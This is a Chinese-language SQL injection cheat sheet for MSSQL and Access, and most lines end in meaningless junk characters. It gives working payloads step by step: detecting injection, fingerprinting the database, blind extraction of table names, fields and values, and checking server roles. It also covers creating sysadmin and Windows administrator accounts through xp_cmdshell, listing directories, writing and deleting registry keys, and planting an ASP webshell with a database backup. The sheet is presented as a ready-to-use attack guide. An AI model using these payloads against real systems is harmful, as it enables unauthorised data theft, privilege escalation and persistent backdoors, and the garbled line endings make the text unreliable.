1.判断是否有注入;and 1=1 ;and 1=2 i4> M
2.初步判断是否是mssql ;and user>0 %LHt{:9.
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3.注入参数是字符'and [查询条件] and ''=' 7Cz=;
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4.搜索时没过滤参数的'and [查询条件] and '%25'='
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5.判断数据库系统 .#tA .%
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;and (select count(*) from sysobjects)>0 mssql 5G2ueRVb
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;and (select count(*) from msysobjects)>0 access >\'}&oi
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 3:$@DZT$
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 r&v!2A]:
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Hxac#(,7
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9.(1)猜字段的ascii值(access) &09~ D8f'
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ?G9DSk?6%Z
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(2)猜字段的ascii值(mssql) 01
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 V1nqEdhk
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10.测试权限结构(mssql) I
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Wo9=cYC)
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uJ1oo| sn
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1:DA{ejS
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ESIeZhXVH
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- d{WOO)j
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Um-Xb'R*]V
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;and 1=(select IS_MEMBER('db_owner'));-- 9}K
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11.添加mssql和系统的帐户 f@Ve,i
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;exec master.dbo.sp_addlogin username;-- NN:zQ_RT
;exec master.dbo.sp_password null,username,password;-- 2=7[r-*E
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- VJr ~h
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;exec master.dbo.xp_cmdshell 'net user username password "K|':3n|
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- voP#}fD
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- NDe FY
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- XTb.cqOC
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12.(1)遍历目录 `i~J0#P
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;insert dirs exec master.dbo.xp_dirtree 'c:\' VqOTrB1w/
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;and (select top 1 paths from dirs)>0 ZWB3R
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(2)遍历目录 E%f!SD
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- C}o^p"M*B3
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 b!EqYT
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -)ri,v{:c
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13.mssql中的存储过程 `;Fs
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xp_regenumvalues 注册表根键, 子键 dr"@2=Z
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `V[ hE
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 BJZGQrsz
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xp_regwrite 根键,子键, 值名, 值类型, 值 p|)j{nc
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _oU~S$hO
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xp_regdeletevalue 根键,子键,值名 HhTD/
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _ [hVGCSB
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 'sjks sy.3
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14.mssql的backup创建webshell 4?x$O{D5?{
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backup database model to disk='c:\l.asp'; 8qq'q"g
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15.mssql内置函数 l]P3oB}Yo
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;and (select @@version)>0 获得Windows的版本号 1ZfhDtK(
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Snas:#B!
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;and (select user_name())>0 爆当前系统的连接用户 TUR2|J@n
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;and (select db_name())>0 得到当前连接的数据库 y]%Io]!d
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16.简洁的webshell sHMZ'9b
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use model (w,
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create table cmd(str image); ;e^`r;]
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insert into cmd(str) values (''); N1z:9=(I
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